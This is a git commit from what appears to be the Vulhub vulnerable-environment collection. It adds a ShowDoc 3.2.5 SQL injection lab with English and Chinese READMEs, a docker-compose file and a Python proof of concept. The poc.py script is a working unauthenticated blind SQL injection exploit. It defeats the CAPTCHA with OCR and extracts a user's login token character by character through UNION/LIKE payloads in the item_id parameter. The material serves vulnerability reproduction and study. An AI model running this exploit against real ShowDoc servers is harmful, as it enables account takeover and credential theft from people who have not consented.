first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled

This commit is contained in:
2025-09-06 16:08:15 +08:00
commit 63285f61aa
2624 changed files with 88491 additions and 0 deletions

BIN
showdoc/3.2.5-sqli/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 228 KiB

BIN
showdoc/3.2.5-sqli/2.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 80 KiB

View File

@@ -0,0 +1,43 @@
# ShowDoc 3.2.5 SQL Injection
[中文版本(Chinese version)](README.zh-cn.md)
ShowDoc is a tool greatly applicable for an IT team to share documents online. It can promote communication efficiency between members of a team.
ShowDoc version <= 3.2.5, an unauthenticated SQL injection issue is found and attacker is able to steal user password and token from SQLite database.
References:
- <https://github.com/star7th/showdoc/commit/84fc28d07c5dfc894f5fbc6e8c42efd13c976fda>
## Vulnerable environment
Execute following command to start a ShowDoc server 3.2.4:
```
docker compose up -d
```
After the server is started, browse `http://your-ip:8080` to see the index page of ShowDoc. Log in the portal using username `showdoc` and password `123456`.
## Exploit
Once a user has logged into ShowDoc, a user token is generated in the SQLite database. Compared to stealing a user's hashed password through SQL injectionuser token is a more useful target.
Before exploiting the issue, a CAPTCHA recognition library is required:
```
pip install onnxruntime ddddocr requests
```
Then use [this POC](poc.py) to extract the token:
```
python3 poc.py -u http://localhost:8080
```
![](1.png)
To test if the token is valid:
![](2.png)

View File

@@ -0,0 +1,41 @@
# ShowDoc 3.2.5 SQL注入漏洞
ShowDoc 是一个开源的在线共享文档工具。
ShowDoc <= 3.2.5 存在一处未授权SQL注入漏洞攻击者可以利用该漏洞窃取保存在SQLite数据库中的用户密码和Token。
参考链接:
- <https://github.com/star7th/showdoc/commit/84fc28d07c5dfc894f5fbc6e8c42efd13c976fda>
## 漏洞环境
执行如下命令启动一个ShowDoc 2.8.2服务器:
```
docker compose up -d
```
服务启动后,访问`http://your-ip:8080`即可查看到ShowDoc的主页。初始化成功后使用帐号`showdoc`和密码`123456`登录用户界面。
## 漏洞复现
一旦一个用户登录进ShowDoc其用户token将会被保存在SQLite数据库中。相比于获取hash后的用户密码用户token是一个更好地选择。
在利用该漏洞前,需要安装验证码识别库,因为该漏洞需要每次请求前传入验证验:
```
pip install onnxruntime ddddocr requests
```
然后,执行[这个POC](poc.py)来获取token
```
python3 poc.py -u http://localhost:8080
```
![](1.png)
测试一下这个token是否是合法的
![](2.png)

View File

@@ -0,0 +1,6 @@
version: '2'
services:
web:
image: vulhub/showdoc:3.2.4
ports:
- "8080:80"

86
showdoc/3.2.5-sqli/poc.py Normal file
View File

@@ -0,0 +1,86 @@
import argparse
import ddddocr
import requests
import onnxruntime
from urllib.parse import urljoin
onnxruntime.set_default_logger_severity(3)
table = '0123456789abcdef'
proxies = {'http': 'http://127.0.0.1:8085'}
ocr = ddddocr.DdddOcr()
ocr.set_ranges(table)
class RetryException(Exception):
pass
def retry_when_failed(func):
def retry_func(*args, **kwargs):
while True:
try:
return func(*args, **kwargs)
except RetryException:
continue
except Exception as e:
raise e
return retry_func
def generate_captcha(base: str):
data = requests.get(f"{base}?s=/api/common/createCaptcha").json()
captcha_id = data['data']['captcha_id']
response = requests.get(f'{base}?s=/api/common/showCaptcha&captcha_id={captcha_id}')
data = response.content
result = ocr.classification(data)
return captcha_id, result
@retry_when_failed
def exploit_one(base: str, current: str, ch: str) -> str:
captcha_id, captcha_text = generate_captcha(base)
data = requests.get(base, params={
's': '/api/item/pwd',
'page_id': '0',
'password': '1',
'captcha_id': captcha_id,
'captcha': captcha_text,
'item_id': f"aa') UNION SELECT 1,1,1,1,1,(SELECT 1 FROM user_token WHERE uid = 1 AND token LIKE '{current}{ch}%' LIMIT 1),1,1,1,1,1,1 FROM user_token; -- "
}).json()
if data['error_code'] == 0:
return ch
elif data['error_code'] == 10010:
return ''
elif data['error_code'] == 10206:
raise RetryException()
else:
print(f'error: {data!r}')
raise Exception('unknown exception')
def main():
parser = argparse.ArgumentParser(description='Showdoc 3.2.5 SQL injection')
parser.add_argument('-u', '--url', type=str, required=True)
args = parser.parse_args()
target = urljoin(args.url, '/server/index.php')
res = ''
for i in range(64):
r = ''
for ch in list(table):
r = exploit_one(target, res, ch)
if r:
res += ch
break
print(f'Current result: {res}')
if not r:
break
if __name__ == '__main__':
main()